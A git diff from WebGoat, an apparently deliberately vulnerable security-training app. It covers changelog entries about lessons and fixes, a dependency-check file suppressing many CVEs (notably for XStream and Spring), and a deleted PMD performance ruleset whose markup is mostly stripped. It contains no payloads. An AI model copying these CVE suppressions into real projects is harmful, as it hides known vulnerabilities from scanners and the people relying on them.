(depends on your local machine of course) + * No longer add Maven dependencies in several places + * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection. +- More explicit paths in html files to reference `adoc` files, less magic. +- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image. +- Add WebWolf button in WebGoat +- Move all lessons into `src/main/resources` +- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience. +- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...` +- Simplify `Dockerfile` as we no longer need a script to start everything +- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build. +- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example. +- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time. +- Updated introduction lesson to WebWolf. +- Added language switch for support for multiple languages. +- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port. +- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard. +- Renaming of all packages and folders. +- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093) +- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065) + +### Bug fixes + + +- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193) +- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176) +- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134) +- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130) +- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101) +- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079) +- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379) +- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298) +- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248) +- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200) +- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173) +- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103) +- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986) ## Version 8.2.2 ### New functionality -- Docker image now supports nginx when browsing to http://localhost a landing page is shown. +- Docker image now supports nginx when browsing to http://localhost a landing page is shown. ### Bug fixes @@ -12,14 +61,12 @@ - [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031) - [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027) - ## Version 8.2.1 ### New functionality - New Docker image for arm64 architecture is now available (for Apple M1) - ## Version 8.2.0 ### New functionality @@ -54,11 +101,10 @@ Special thanks to the following contributors providing us with a pull request: - maximmasiutin - toshihue - avivmu -- KellyMarchewa +- KellyMarchewa - NatasG - gabe-sky - ## Version 8.1.0 ### New functionality @@ -66,27 +112,27 @@ Special thanks to the following contributors providing us with a pull request: - Added new lessons for cryptography and path-traversal - Extra content added to the XXE lesson - Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github. -- Docker improvements + docker stack for complete container with nginx -- Included JWT token decoding and generation, since jwt.io does not support None anymore +- Docker improvements + docker stack for complete container with nginx +- Included JWT token decoding and generation, since jwt.io does not support None anymore ### Bug fixes - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) - [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811) - [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810) -- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) +- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) - [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760) - [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766) - [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708) - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) - - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) - - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) - - [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) - - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) - - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) - - ## Contributors - +- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) +- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) +- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) +- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) +- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) + +## Contributors + Special thanks to the following contributors providing us with a pull request: - Satoshi SAKAO @@ -101,9 +147,5 @@ Special thanks to the following contributors providing us with a pull request: And everyone who provided feedback through Github. - Team WebGoat - - - diff --git a/config/dependency-check/project-suppression.xml b/config/dependency-check/project-suppression.xml index a2a8e8470..7df811240 100644 --- a/config/dependency-check/project-suppression.xml +++ b/config/dependency-check/project-suppression.xml @@ -1,42 +1,77 @@ - + - cpe:/a:pivotal_software:spring_framework - CVE-2020-5398 + 7 - + - cpe:/a:redhat:undertow - CVE-2019-14888 - - + 13f4f564024d2f85502c151942307c3ca851a4f7 + CVE-2016-1000027 + + - cpe:/a:pivotal_software:spring_security - CVE-2018-1258 - - + ^pkg:maven/org\.springframework/spring\-core@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework/spring\-aop@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$ + CVE-2022-22978 + + + + ^pkg:maven/rubygems/jruby\-openssl@.*$ cpe:/a:jruby:jruby - CVE-2018-1000613 - CVE-2018-1000180 - CVE-2017-18640 - CVE-2011-4838 - - + cpe:/a:openssl:openssl + + + + ^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$ cpe:/a:xstream_project:xstream - CVE-2017-7957 - CVE-2016-3674 - CVE-2020-26217 - CVE-2020-26258 - - - cpe:/a:postgresql:postgresql - CVE-2018-10936 - + CVE-2013-7285 + CVE-2016-3674 + CVE-2017-7957 + CVE-2020-26217 + CVE-2020-26258 + CVE-2020-26259 + CVE-2021-21341 + CVE-2021-21342 + CVE-2021-21343 + CVE-2021-21344 + CVE-2021-21345 + CVE-2021-21346 + CVE-2021-21347 + CVE-2021-21348 + CVE-2021-21349 + CVE-2021-21350 + CVE-2021-21351 + CVE-2021-43859 + + + + ^pkg:maven/org\.springframework/spring\-.*@.*$ + CVE-2016-1000027 + diff --git a/config/pmd/pmd-ruleset.xml b/config/pmd/pmd-ruleset.xml deleted file mode 100644 index 27812d9bc..000000000 --- a/config/pmd/pmd-ruleset.xml +++ /dev/null @@ -1,1746 +0,0 @@ - - -jPinpoint specific rules for performance aware Java coding, sponsored by Rabobank.(jpinpoint-rules) - - - - - - Problem: A proxy object is created by CDI for explicit references, they are not de-referenced implicitly and become a memory leak. - Solution: Destroy the reference explicitly. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - Interface defines constants. Problem: Possibly exposes implementation details. - Solution: Make it a Class which cannot be instantiated, or an Enum. Use static imports. - (jpinpoint-rules) - 3 - - - - 0 - ] - ]]> - - - - - - Problem: java.text.DecimalFormat and java.text.ChoiceFormat are thread-unsafe. The usual solution - is to create a new local one when needed in a method. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: Several HTTP client connection managers are thread-unsafe which may cause session data mix-up or have other issues for which they were made deprecated. - Solutions: Use org.apache.http.impl.conn.PoolingHttpClientConnectionManager and org.apache.http.impl.client.HttpClientBuilder. (jpinpoint-rules) - 3 - - - - - - - - - - - Problem: Potential bug: expected are different assignments in different cases. - Solution: assign different values in different cases, common assignments should be taken out of the switch. - (jpinpoint-rules) - - - - - 0 -or preceding-sibling::SwitchLabel[@Default='true']) -] -]]> - - - - 2 - - - - A regular expression is compiled implicitely on every invocation. Problem: this can be expensive, depending on the length of the regular expression. - Solution: Compile the regex pattern only once and assign it to a private static final Pattern field. java.util.Pattern objects are thread-safe so they can be shared among threads. - (jpinpoint-rules) - 2 - - - - 5 and -(matches(@Image, '[\.\$\|\(\)\[\]\{\}\^\?\*\+\\]+'))] or Name -and not(../PrimarySuffix) -and not ( -Name/@Image=ancestor::MethodDeclaration//VariableDeclaratorId/@Image) -and not ( -Name[@Image=ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration/VariableDeclarator[ -VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/Literal[string-length(@Image) < 6 or not -(matches(@Image, '[\.\$\|\(\)\[\]\{\}\^\?\*\+\\]+'))] -]/VariableDeclaratorId/@Image]) -] -, -//MethodDeclaration//PrimaryPrefix/Name[ends-with(@Image, '.split') or ends-with(@Image, 'getPathMatcher')]/../../PrimarySuffix/Arguments[@ArgumentCount=1]//Expression[1]//PrimaryPrefix[ -Literal[string-length(@Image) > 5 and -matches(@Image, '[\.\$\|\(\)\[\]\{\}\^\?\*\+\\]+')] or Name -and not(../PrimarySuffix) -and not ( -Name/@Image=ancestor::MethodDeclaration//VariableDeclaratorId/@Image) -and not ( -Name[@Image=ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration/VariableDeclarator[ -VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/Literal[string-length(@Image) < 6 or not -(matches(@Image, '[\.\$\|\(\)\[\]\{\}\^\?\*\+\\]+'))] -]/VariableDeclaratorId/@Image]) -] -, -//MethodDeclaration//PrimarySuffix[@Image='getPathMatcher']/../PrimarySuffix/Arguments[@ArgumentCount=1]/ArgumentList/Expression[1]/PrimaryExpression/PrimaryPrefix[ -Literal[string-length(@Image) > 5] or Name -and not(../PrimarySuffix) -and not ( -Name/@Image=ancestor::MethodDeclaration//VariableDeclaratorId/@Image) -and not ( -Name[@Image=ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration/VariableDeclarator[ -VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/Literal[string-length(@Image) < 6]]/VariableDeclaratorId/@Image]) -] -, -(: --- String.matches called on formalparams, locals and fields --- :) -//MethodDeclaration//PrimaryPrefix/Name[ends-with(@Image, '.matches')] -[ -(exists(index-of((ancestor::MethodDeclaration//FormalParameter[pmd-java:typeIs('java.lang.String')]/VariableDeclaratorId/@Image), substring-before(@Image,'.'))) -or -exists(index-of((ancestor::MethodDeclaration//LocalVariableDeclaration/Type[pmd-java:typeIs('java.lang.String')]/../VariableDeclarator/VariableDeclaratorId/@Image), substring-before(@Image,'.'))) -or -exists(index-of((ancestor::ClassOrInterfaceBody//FieldDeclaration[pmd-java:typeIs('java.lang.String')]/VariableDeclarator/VariableDeclaratorId/@Image), substring-before(@Image,'.')))) -and -(: for matches param is >5 literal or something named :) -../../PrimarySuffix/Arguments[@ArgumentCount=1]//Expression[1]//PrimaryPrefix[ -Literal[string-length(@Image) > 5] or Name -(: exclude method calls :) -and not(../PrimarySuffix) -(: exclude for param is method arg or local :) -and not ( -Name/@Image=ancestor::MethodDeclaration//VariableDeclaratorId/@Image) -(: exclude for param is short fields :) -and not ( -Name[@Image=ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration/VariableDeclarator[ -VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/Literal[string-length(@Image) < 6] -]/VariableDeclaratorId/@Image]) -]]) -]]> - - - - - - Default constructor of ByteArrayOutputStream or StringWriter is used. Problem: It allocates a small buffer as capacity which usually needs several expensive expansions. - Solution: Presize the ByteArrayOutputStream or StringWriter with an initial capacity such that an expansion is not needed in most cases. - (jpinpoint-rules) - 2 - - - - - - - - - - Multiple statements concatenate to the same String. Problem: Each statement with one or more +-operators creates a hidden temporary StringBuilder, a char[] and a new String object, which all have to be garbage collected. - Solution: Use StringBulder.append. - (jpinpoint-rules) - 2 - - - - 1]/BlockStatement[position()=last()] -| -//MethodDeclaration/Block[ -count( -./BlockStatement/Statement//StatementExpression[ -./PrimaryExpression/PrimaryPrefix/Name[ -@Image = ../../../Expression/AdditiveExpression/PrimaryExpression/PrimaryPrefix/Name/@Image -and -@Image = ./../../../../../../../..//VariableDeclaratorId/../../Type/ReferenceType/ClassOrInterfaceType[typeIs('java.lang.String')]/../../../VariableDeclarator/VariableDeclaratorId/attribute::Image -] -]) > 1 ]//BlockStatement[position()=last()]//StatementExpression/Expression/AdditiveExpression[@Image = '+'] - ]]> - - - - - - A regular expression is compiled on every invocation. Problem: this can be expensive, depending on the length of the regular expression. - Solution: Usually a pattern is a literal, not dynamic and can be compiled only once. Assign it to a private static field. java.util.Pattern objects are thread-safe so they can be shared among threads. - (jpinpoint-rules) - 2 - - - - - - - - - - XPathExpression is created and compiled on every method call. Problem: Creation XPath and compilation of XPathExpression takes time. It may slow down your application. - Solution: 1. Avoid XPath usage. 2. Since XPath and XPathExpression classes are thread-unsafe, they are not easily cached. Caching in Thread locals may be a solution. - (jpinpoint-rules) - 2 - - - - - - - - - - - Problem: Recreating a DateTimeFormatter is relatively expensive. - Solution: org.joda.time.format.DateTimeFormatter or Java 8 java.time.DateTimeFormatter is thread-safe and can be shared among threads. Create the - formatter from a pattern only once, to initialize a static final field. - (jpinpoint-rules) - - - - - - - - - 2 - - - - Problem: Reflection is relatively expensive. - Solution: Avoid to use reflection. Use the non-reflective, explicit way, preferably using Guava. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: java.util.SimpleDateFormat is thread-unsafe. The usual solution is to create a new one when needed in a method. Creating SimpleDateFormat is relatively expensive. - Solution: Use a Joda-Time DateTimeFormat to create a specific DateTimeFormatter or Java 8 java.time.DateTimeFormatter. These classes are immutable, thus thread-safe and can be made static. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: StringBuffer introduces locking overhead because it is thread safe. Its thread-safety is rarely needed. - Solution: Replace StringBuffer by StringBuilder. (jpinpoint-rules) - 3 - - - - - - - - - - A String to be logged is built unconditionally. Problem: String building, concatenation and/or other operations happen before the debug, trace or info method executes, so independent of the need to actually log. Concatenation is relatively expensive. - Solution: Build the String conditionally on the log level, within an if statement. - (jpinpoint-rules) - 2 - - - - - - - - - - The XPathExpression targets a wide scope since it starts with '//'. Problem: XPath has to search in a wide scope for occurrences, this may take a while. - Solution: 1. Avoid XPath usage. 2. Make the scope as narrow as possible, do not start with '//'. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: XMLGregorianCalendar is a large object, involving substantial processing. It is created with the poorly performing DatatypeFactory. - Solution: Add a converter for alternative date handling with joda-time or Java 8 java.time. - (jpinpoint-rules) - 2 - - - - - - - - - - - XPathAPI is used. Problem: XPathAPI implementation is slow. - Solution: 1. try to avoid using XPathAPI. 2. improve performance by using jvm parameters and possibly CachedXPathAPI. - (jpinpoint-rules) - 2 - - - - - - - - - - XPath is used. Problem: XPath implementation is slow. - Solution: 1. avoid using XPath. 2. improve performance by using jvm parameters and possibly Cached XPath API. - (jpinpoint-rules) - 3 - - - - - - - - - - Problem: NTLM authenticated connections and SSL/TLS connections with client certificate authentication are stateful: they have a specific user identity/security context per session. If HttpClients have enabled connection state tracking which is the default, established TLS connections will not be reused because it is assumed that the user identity or security context may differ. - Then performance will suffer due to a full TLS handshake for each request. - Solution: HttpClients should disable connection state tracking in order to reuse TLS connections, since service calls for one pool have the same user identity/security context for all sessions. (jpinpoint-rules) - 2 - - - - - - - - - - - - Problem: If equals and hashCode are not defined, they don't meet the programmer's expectations and the requirements for use with the collections API. It may result in unexpected, undesired behavior. - Solution: Add proper equals and hashCode methods that meet the equals-hashCode contract to all objects which might anyhow be put in a Map, Set or other collection. If the object should never be checked for equality or used in a collection, also add those methods and let them throw UnsupportedOperationException to fail fast. @Xml... and @Entity objects are ignored because they are assumed to be not used as value objects. - (jpinpoint-rules) - - - - - 3 or starts-with(@Image, 'is') and string-length(@Image) > 2] -[../ResultType/Type/ReferenceType/ClassOrInterfaceType/@Image = -ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration[@Static='false']/Type/ReferenceType/ClassOrInterfaceType/@Image] -) -and -(not ( -ancestor::ClassOrInterfaceBody//MethodDeclaration[@Public='true' and @Static='false']/MethodDeclarator[@Image='equals' or @Image='hashCode']) -) -and -((ancestor::ClassOrInterfaceBody//MethodDeclaration[@Public='true' and @Static='false']/MethodDeclarator/@Image='toString' -and -count(ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration[@Static='false']) <= -(1 + count(ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/MethodDeclaration -[@Public='true' and @Static='false']/MethodDeclarator[starts-with(@Image, 'get') and string-length(@Image) > 3 or starts-with(@Image, 'is') and string-length(@Image) > 2])) -) -or -ancestor::ClassOrInterfaceDeclaration[ends-with(@Image, 'Dto')] -or -count(ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration[@Static='false']) = -count(ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/MethodDeclaration -[@Public='true' and @Static='false']/MethodDeclarator[starts-with(@Image, 'get') and string-length(@Image) > 3 or starts-with(@Image, 'is') and string-length(@Image) > 2]) -)] -] -]]> - - - - 3 - - - - Problem: JAXBContext creation is expensive because it does much class loading. - Solution: Since JAXBContext objects are thread safe, they can be shared between requests and reused. So, reuse created instances, e.g. as singletons. - (jpinpoint-rules) - 2 - - - - - - - - - - - MDC values are added for logging, but not removed. Problem: MDC values can leak to other user transactions (requests) and log incorrect information. Solution: remove the MDC value in a finally clause. - (jpinpoint-rules) - - - - - - - - - 2 - - - - An attribute is set in the session and not removed. Problem: This may be a large object and data in the sessions takes heap space and stay in the session until time-out. This may take substantial heap space. - Solution: remove the attribute if not really needed in the session, remove it from the session as soon as possible. Alternatively, use render parameters. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: Jackson ObjectMapper creation is expensive because it does much class loading. - Solution: Since ObjectMapper objects are thread-safe after configuration in one thread, they can be shared afterwards between requests and reused. So, reuse created instances, from a static field. - (jpinpoint-rules) - 2 - - - - - - - - - - Problem: String concatenation (+) is executed regardless of log level and can be expensive. - Solution: Use SLF4J formatting with {}-placeholders or log and format conditionally. (jpinpoint-rules) - 2 - - - - - - - - - - Problem: An operation is executed regardless of log level. This could be much processing while the result is typically not used. Detected are obj.toString() and operations with one or more arguments except usually cheap obj.get(arg). - Solution: Execute the operation only conditionally and utilize SLF4J formatting with {}-placeholders. (jpinpoint-rules) - 2 - - - - - - - - - - - - - - (Informative) Problem: This rule detects problems, suppressing them without full knowledge can lead to the problems this rule is trying to prevent. - Solution: Suppress warnings judiciously based on full knowledge and report reasons to suppress (false positives) to the rule maintainers so these can be fixed. (jpinpoint-rules) - 4 - - - - - - - - - - - - - (Informative) Problem: This rule detects high risk problems, suppressing them without full knowledge can lead to incidents like customer data mix-up, corrupt data, server crashes or very bad performance. - Solution: Suppress warnings judiciously based on full knowledge and report reasons to suppress (false positives) to the rule maintainers so these can be fixed. (jpinpoint-rules) - 4 - - - - - - - - - - - - - - - - Problem: Use of FileItem.get and FileItem.getString could exhaust memory since they load the entire file into memory - Solution: Use streaming methods and buffering. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - - - Problem: A Calendar is a heavyweight object and expensive to create. - Solution: Use 'new Date()', Java 8+ java.time.[Local/Zoned]DateTime.now() or joda time '[Local]DateTime.now()'. - (jpinpoint-rules) - 2 - - - - 2 and ../PrimarySuffix[last()-1][@Image = 'getTime' or @Image='getTimeInMillis']] -| -//Block/BlockStatement//Expression/PrimaryExpression/ -PrimaryPrefix/Name[typeIs('java.util.Calendar') and (ends-with(@Image,'.getTime') or ends-with(@Image,'.getTimeInMillis'))] -| -//ClassOrInterfaceType[typeIs('org.joda.time.DateTime') or typeIs('org.joda.time.LocalDateTime')][../Arguments/ArgumentList/Expression/PrimaryExpression/PrimaryPrefix/Name[ends-with(@Image, 'Calendar.getInstance')]] - ]]> - - - - - - - - - Concatenation of Strings is used inside an StringBuilder.append argument. Problem: Each statement with one or more +-operators creates a hidden temporary StringBuilder, a char[] and a new String object, which all have to be garbage collected. - Solution: Use an extra fluent append instead of concatenation. - (jpinpoint-rules) - 2 - - - - 0) -and not(PrimaryExpression/PrimaryPrefix/Name/@Image= -ancestor::ClassOrInterfaceBody//FieldDeclaration[@Final='true']//VariableDeclaratorId/@Image) -and not(PrimaryExpression/PrimaryPrefix/Name/@Image= -ancestor::Block//LocalVariableDeclaration[@Final='true']//VariableDeclaratorId/@Image) -]] - ]]> - - - - - - - - - A String is built in a loop by concatenation. Problem: Each statement with one or more +-operators creates a hidden temporary StringBuilder, a char[] and a new String object, which all have to be garbage collected. - Solution: Use the StringBuilder append method. - (jpinpoint-rules) - 2 - - - - - - - - - values = Arrays.asList("tic ", "tac ", "toe "); - for (String val : values) { - log += val; - } - return log; - } - - private String good(String arg) { - StringBuilder sb = new StringBuilder(); - List values = Arrays.asList("tic ", "tac ", "toe "); - for (String val : values) { - sb.append(val); - } - return sb.toString(); - } -} - ]]> - - - - - - - - Problem: take() stalls indefinitely in case of hanging threads and consumes a thread. - Solution: use poll() with a timeout value and handle the timeout. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - Problem: Stalls indefinitely in case of hanging threads and consumes a thread. - Solution: Provide a timeout value and handle the timeout. - (jpinpoint-rules) - 2 - - - - - - - - - - complFuture) throws Exception { - return complFuture.get(); // bad - } - - public static String good(CompletableFuture complFuture) throws Exception { - return complFuture.get(10, TimeUnit.SECONDS); // good - } - ]]> - - - - - - Problem: Multiple threads typically access static fields. Unguarded assignment to a mutable or non-final static field is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable. If they really need to be mutable, make access thread-safe: use synchronized and @GuardedBy or use volatile. Consider lock contention. - (jpinpoint-rules) - 2 - - - - - 0])) - and not (ancestor::ClassOrInterfaceBodyDeclaration/Annotation//Name[@Image='GuardedBy']) -]) -, -(: static field, non-guarded, some often used known collection/array types, allocation side:) -(//ClassOrInterfaceDeclaration/ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration/FieldDeclaration[@Static=true() and not (../Annotation//Name[@Image='GuardedBy'])]/ -VariableDeclarator/VariableInitializer[((ArrayInitializer and count(ArrayInitializer/VariableInitializer) > 0) -or Expression/PrimaryExpression/PrimaryPrefix/AllocationExpression[ArrayDimsAndInits and xs:int(ArrayDimsAndInits and (xs:int(ArrayDimsAndInits/Expression//Literal/@Image) > 0 or ArrayDimsAndInits/Expression//Name))] -or Expression/PrimaryExpression/PrimaryPrefix/AllocationExpression[(pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet'))] -or Expression/PrimaryExpression/PrimaryPrefix/Name[@Image='Arrays.asList'] -)]) -, -(: static-block allocations of non-empty arrays :) -//Initializer//AllocationExpression[((ArrayDimsAndInits and ((xs:int(ArrayDimsAndInits/Expression//Literal/@Image) > 0) or exists(ArrayDimsAndInits/Expression//Name) or exists(ArrayDimsAndInits/ArrayInitializer//Expression))) -or -(: static-block allocations of known mutable types :) -ClassOrInterfaceType[pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet')]) -and -(: given the field is not @GuardedBy :) -ancestor::StatementExpression/PrimaryExpression/PrimaryPrefix/Name/@Image = ancestor::ClassOrInterfaceBody/ClassOrInterfaceBodyDeclaration[count(Annotation//Name[@Image='GuardedBy']) = 0]/FieldDeclaration//VariableDeclaratorId/@Image -] -]]> - - - - - - - Problem: JAXB Marshaller, Unmarshaller and Validator are not thread-safe. - Solution: Create a new instance every time you need to marshall, unmarshall or validate a document. - (jpinpoint-rules) - 1 - - - - - - - - - - - Problem: Multiple threads typically access fields of an object using synchronized. Unguarded assignment to a non-final field is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable. If they really need to be mutable, make access thread-safe: use synchronized and jcip @GuardedBy or use volatile. - Notes - 1. In case you are sure the class is used in single threaded context only, remove current use of synchronized and annotate the class with @NotThreadSafe to make this explicit. - 2. Use package-private and @VisibleForTesting for methods (e.g. setters) used for JUnit only. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - Problem: Multiple threads typically access fields of a singleton or may access fields in session scoped objects. Unguarded assignment to a non-final field is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable. If they really need to be mutable, make access thread-safe: use synchronized and jcip @GuardedBy or use volatile. - Notes - 1. Autowiring/injection is thread safe, yet make sure no other thread-unsafe assignment is made to that field. - 2. In case you are sure the Component is used in single threaded context only (e.g. a Tasklet), annotate the class with @NotThreadSafe to make this explicit. - 3. Use package-private and @VisibleForTesting for methods (e.g. setters) used for JUnit only. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - Problem: Multiple threads typically access fields of an object using synchronized. If a field or its reference is mutable, access is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable. If they really need to be mutable, make access thread-safe: use synchronized and jcip @GuardedBy or use volatile. - Notes - 1. Instances of Date, StringBuilder, URL and File are examples of mutable objects and should be avoided (or else guarded) as fields of shared objects. In case mutable fields are final and not modified after initialization (read-only) they are thread safe, however any modification to it is thread-unsafe. Since field modification is easily coded, avoid this situation. - 2. Instances of classes like ArrayList, HashMap and HashSet are also mutable and should be properly wrapped with e.g. Collections.unmodifiableList after initialization (see TUTC03), or accessed thread-safely with e.g. Collections.synchronizedList or thread-safe implementations like ConcurrentHashMap. - 3. Autowiring/injection is thread safe, yet make sure no other thread-unsafe assignment is made to that field. - 4. In case you are sure the class is used in single threaded context only, annotate the class with @NotThreadSafe to make this explicit. - 5. Use package private and @VisibleForTesting for methods used for JUnit only. - (jpinpoint-rules) - 3 - - - - - 0])]) -(: or in-line allocation of known mutable collection types :) -or (VariableDeclarator/VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/AllocationExpression/ClassOrInterfaceType[pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet')] ) -(: or in-constructor allocation of known mutable collection types :) -or (VariableDeclarator/VariableDeclaratorId/@Image = ancestor::ClassOrInterfaceBody//ConstructorDeclaration//StatementExpression/Expression[pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet')]/../..//Name/@Image) -(: mutable types not annotated with GuardedBy :) -) and not (../Annotation//Name[@Image='GuardedBy']) -] -]]> - - - - - - - - Problem: Multiple threads typically access fields of a singleton or may access fields in session scoped objects. If a field or its reference is mutable, access is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable. If they really need to be mutable, make access thread-safe: use synchronized and jcip @GuardedBy or use volatile. - Notes - 1. Instances of Date, StringBuilder, URL and File are examples of mutable objects and should be avoided (or else guarded) as fields of shared objects. In case mutable fields are final and not modified after initialization (read-only) they are thread safe, however any modification to it is thread-unsafe. Since field modification is easily coded, avoid this situation. - 2. Instances of classes like ArrayList, HashMap and HashSet are also mutable and should be properly wrapped with e.g. Collections.unmodifiableList after initialization (see TUTC03), or accessed thread-safely with e.g. Collections.synchronizedList or thread-safe implementations like ConcurrentHashMap. - 3. Autowiring/injection is thread safe, yet make sure no other thread-unsafe assignment is made to that field. - 4. In case you are sure the Component is used in single threaded context only (e.g. a Tasklet), annotate the class with @NotThreadSafe to make this explicit. - 5. Use package private and @VisibleForTesting for methods used for JUnit only. - (jpinpoint-rules) - 2 - - - - - 0])]) -(: or in-line allocation of known mutable collection types :) -or (VariableDeclarator/VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/AllocationExpression[pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet')] ) -(: or in-constructor allocation of known mutable collection types :) -or (VariableDeclarator/VariableDeclaratorId/@Image = 